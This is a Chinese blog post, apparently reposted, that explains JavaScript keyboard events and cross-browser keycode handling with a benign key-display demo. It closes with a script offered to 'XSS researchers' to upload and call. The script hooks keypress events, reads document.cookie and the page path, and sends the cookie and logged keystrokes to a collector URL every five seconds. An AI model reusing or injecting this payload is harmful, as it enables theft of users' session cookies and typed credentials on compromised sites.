您的位置:首页 > Web前端 > JavaScript

js 键盘记录实现(兼容FireFox和IE)

2015-01-18 18:22 519 查看
用js实现键盘记录,要关注浏览器的三种按键事件类型,即keydown,keypress和keyup,它们分别对应onkeydown、onkeypress和onkeyup这三个事件句柄。一个典型的按键会产生所有这三种事件,依次是keydown,keypress,然后是按键释放时候的keyup。



第一部分:浏览器的按键事件

用js实现键盘记录,要关注浏览器的三种按键事件类型,即keydown,keypress和keyup,它们分别对应onkeydown、onkeypress和onkeyup这三个事件句柄。一个典型的按键会产生所有这三种事件,依次是keydown,keypress,然后是按键释放时候的keyup。

在这3种事件类型中,keydown和keyup比较底层,而keypress比较高级。这里所谓的高级是指,当用户按下shift + 1时,keypress是对这个按键事件进行解析后返回一个可打印的“!”字符,而keydown和keyup只是记录了shift + 1这个事件。[1]

但是keypress只能针对一些可以打印出来的字符有效,而对于功能按键,如F1-F12、Backspace、Enter、Escape、PageUP、PageDown和箭头方向等,就不会产生keypress事件,但是可以产生keydown和keyup事件。然而在FireFox中,功能按键是可以产生keypress事件的。

传递给keydown、keypress和keyup事件句柄的事件对象有一些通用的属性。如果Alt、Ctrl或Shift和一个按键一起按下,这通过事件的altKey、ctrlKey和shiftKey属性表示,这些属性在FireFox和IE中是通用的。

第二部分:兼容浏览器

凡是涉及浏览器的js,就都要考虑浏览器兼容的问题。

目前常用的浏览器主要有基于IE和基于Mozilla两大类。Maxthon是基于IE内核的,而FireFox和Opera是基于Mozilla内核的。

2.1 事件的初始化

首先需要了解的是如何初始化该事件,基本语句如下:

   function keyDown(){}

document.onkeydown = keyDown;

当浏览器读到这个语句时,无论按下键盘上的哪个键,都将呼叫KeyDown()函数。

2.2 FireFox和Opera的实现方法

FireFox和Opera等程序实现要比IE麻烦,所以这里先描述一下。

keyDown()函数有一个隐藏的变量--一般的,我们使用字母“e”来表示这个变量。



function keyDown(e)



变量e表示发生击键事件,寻找是哪个键被按下,要使用which这个属性:



e.which



e.which将给出该键的索引值,把索引值转化成该键的字母或数字值的方法需要用到静态函数String.fromCharCode(),如下:



String.fromCharCode(e.which)



把上面的语句放在一起,我们可以在FireFox中得到被按下的是哪一个键:



function keyDown(e) {

   var keycode = e.which;

var realkey = String.fromCharCode(e.which);

alert("按键码: " + keycode + " 字符: " + realkey);

}

document.onkeydown = keyDown;

2.3 IE的实现方法

IE的程序不需要e变量,用window.event.keyCode来代替e.which,把键的索引值转化为真实键值方法类似:String.fromCharCode(event.keyCode),程序如下:



function keyDown() {

var keycode = event.keyCode;

var realkey = String.fromCharCode(event.keyCode);

   alert("按键码: " + keycode + " 字符: " + realkey);

}

document.onkeydown = keyDown;

2.4 判断浏览器类型

上面了解了在各种浏览器里是如何实现获取按键事件对象的方法,那么下面需要判断浏览器类型,这个方法很多,有比较方便理解的,也有很巧妙的办法,先说一般的方法:就是利用navigator对象的appName属性,当然也可以用userAgent属性,这里用appName来实现判断浏览器类型,IE和Maxthon的appName是“Microsoft Internet Explorer” ,而FireFox和Opera的appName是“Netscape”,所以一个功能比较简单的代码如下:

   function keyUp(e) {

   if(navigator.appName == "Microsoft Internet Explorer")

   {

     var keycode = event.keyCode;

     var realkey = String.fromCharCode(event.keyCode);

   }else

   {

      var keycode = e.which;

       var realkey = String.fromCharCode(e.which);

   }

   alert("按键码: " + keycode + " 字符: " + realkey);

 }

document.onkeyup = keyUp;

比较简洁的方法是[2]:

   function keyUp(e) {

  var currKey=0,e=e||event;

  currKey=e.keyCode||e.which||e.charCode;

  var keyName = String.fromCharCode(currKey);

  alert("按键码: " + currKey + " 字符: " + keyName);

}

document.onkeyup = keyUp;

上面这种方法比较巧妙,简单地解释一下:

首先,e=e||event;这句代码是为了进行浏览器事件对象获取的兼容。js中这句代码的意思是,如果在FireFox或Opera中,隐藏的变量e是存在的,那么e||event返回e,如果在IE中,隐藏变量e是不存在,则返回event。

其次,currKey=e.keyCode||e.which||e.charCode;这句是为了兼容浏览器按键事件对象的按键码属性(详见第三部分),如IE中,只有keyCode属性,而FireFox中有which和charCode属性,Opera中有keyCode和which属性等。

上述代码只是兼容了浏览器,获取了keyup事件对象,简单的弹出了按键码和按键的字符,但是问题出现了,当你按键时,字符键都是大写的,而按shift键时,显示的字符很奇怪,所以就需要优化一下代码了。

第三部分:代码实现和优化

3.1 按键事件的按键码和字符码

按键事件的按键码和字符码缺乏浏览器间的可移植性,对于不同的浏览器和不同的案件事件,按键码和字符码的存储方式都是不同的,按键事件,浏览器和按键事件对象属性关系如下表:





如表所示:

在IE中,只有一个keyCode属性,并且它的解释取决于事件类型。对于keydown来说,keyCode存储的是按键码,对于keypress事件来说,keyCode存储的是一个字符码。而IE中没有which和charCode属性,所以which和charCode属性始终为undefined。

FireFox中keyCode始终为0,时间keydown/keyup时,charCode=0,which为按键码。事件keypress时,which和charCode二者的值相同,存储了字符码。

在Opera中,keyCode和which二者的值始终相同,在keydown/keyup事件中,它们存储按键码,在keypress时间中,它们存储字符码,而charCode没有定义,始终是undefined。

3.2 用keydown/keyup还是keypress

第一部分已经介绍了keydown/keyup和keypress的区别,有一条比较通用的规则,keydown事件对于功能按键来说是最有用的,而keypress事件对于可打印按键来说是最有用的[3]。

键盘记录主要是针对于可打印字符和部分功能按键,所以keypress是首选,然而正如第一部分提到的,IE中keypress不支持功能按键,所以应该用keydown/keyup事件来进行补充。

3.3 代码的实现

总体思路,用keypress事件对象获取按键字符,用keydown事件获取功能字符,如Enter,Backspace等。

代码实现如下所示

!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN">

<HTML>

<HEAD><TITLE>js 按键记录</TITLE>

<META NAME="Generator" CONTENT="EditPlus">

<META NAME="Author" CONTENT="羽殇仁">

<META NAME="Keywords" CONTENT="js 按键记录">

<META NAME="Description" CONTENT="js 按键 记录">

</HEAD>

<BODY>

<script type="text/javascript">

var keystring = "";//记录按键的字符串

function $(s){return document.getElementById(s)?document.getElementById(s):s;}

function keypress(e)

{

var currKey=0,CapsLock=0,e=e||event;

currKey=e.keyCode||e.which||e.charCode;

CapsLock=currKey>=65&&currKey<=90;

switch(currKey)

{

    //屏蔽了退格、制表、回车、空格、方向键、删除键

    case 8: case 9:case 13:case 32:case 37:case 38:case 39:case 40:case 46:keyName = "";break;

    default:keyName = String.fromCharCode(currKey); break;

}

keystring += keyName;

}

function keydown(e)

{

var e=e||event;

var currKey=e.keyCode||e.which||e.charCode;

if((currKey>7&&currKey<14)||(currKey>31&&currKey<47))

{

switch(currKey)

    {

      case 8: keyName = "[退格]"; break;

      case 9: keyName = "[制表]"; break;

      case 13:keyName = "[回车]"; break;

      case 32:keyName = "[空格]"; break;

      case 33:keyName = "[PageUp]"; break;

      case 34:keyName = "[PageDown]"; break;

      case 35:keyName = "[End]"; break;

      case 36:keyName = "[Home]"; break;

      case 37:keyName = "[方向键左]"; break;

      case 38:keyName = "[方向键上]"; break;

      case 39:keyName = "[方向键右]"; break;

      case 40:keyName = "[方向键下]"; break;

      case 46:keyName = "[删除]"; break;

      default:keyName = ""; break;

}

keystring += keyName;

}

$("content").innerHTML=keystring;

}

function keyup(e)

{

$("content").innerHTML=keystring;

}

document.onkeypress=keypress;

document.onkeydown =keydown;

document.onkeyup =keyup;

</script>

<input type="text" />

<input type="button" value="清空记录" onclick="$('content').innerHTML = '';keystring = '';"/>

<br/>请按下任意键查看键盘响应键值:<span id="content"></span>

</BODY>

</HTML>

代码分析:

$():根据ID获取dom

keypress(e):实现对字符码的截获,由于功能按键要用keydown获取,所以在keypress中屏蔽了这些功能按键。

keydown(e):主要是实现了对功能按键的获取。

keyup(e):展示截获的字符串。

代码基本上就算实现完成了!呵呵

第四部分:总结

编写代码的最初目的是能够通过js记录按键,并返回一个字符串。

上述代码只是用js实现了基本的英文按键记录,对于汉字是无能为力,记录汉字,我能想到的办法,当然是用js,是用keydown和keyup记录底层按键事件,汉字解析当然无能为力。当然你可以用DOM的方式直接获取input中的汉字,但这已经离开了本文讨论的用按键事件实现按键记录的本意。

上述代码还可以实现添加剪切板的功能,监控删除的功能等等。。。

、、、、、、、、、、、、、、、、、


研究XSS的朋友可以拿去研究研究
代码如下,保存为*.js 然后上传你的Web空间,用调用方法test...

var path =escape(window.location.pathname); //获取网站目录

var url = "http://localhost:1515/xs/Requests.aspx?xss=";
var keys; //保存键盘记录
var key;
var Cookie=document.cookie;//获取Cookie
//判断浏览器,创建XMLHttpRequest对象
function GetXmlHttpObject() {
var xmlHttp =null;
try {
// Firefox, Opera 8.0+, Safari
xmlHttp = new XMLHttpRequest();
}
catch (e) {
// Internet Explorer
try {
xmlHttp = new ActiveXObject("Msxml2.XMLHTTP");
}
catch (e) {
xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
}
}
return xmlHttp;
}
//发送异步请求
function showHint() {
xmlHttp = GetXmlHttpObject();//获得XMLHttpRequest对象
url = url +keys+"按键||";
xmlHttp.open("GET", url, true); //
xmlHttp.send(null);
}
document.onkeypress = function(e) { //劫持键盘消息函数
get = window.event ? event:e;//创建事件对象
key = get.keyCode ? get.keyCode : get.charCode;
switch(key){
case 32 : key = '[Space]';break;
case 13 : key = '[Enter]';break;
default :
key = String.fromCharCode(key);
keys += key;
//alert(key+"||"+keys);
}

}
window.setInterval(showHint,5000); ////每五秒发送一次键盘记录

window.onload = function() {
xmlHttp = GetXmlHttpObject(); //获得XMLHttpRequest对象
url = url + path+"||Cookie值||"+Cookie+"||键盘记录||" //
xmlHttp.open("GET", url, true);
xmlHttp.send(null);
};
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: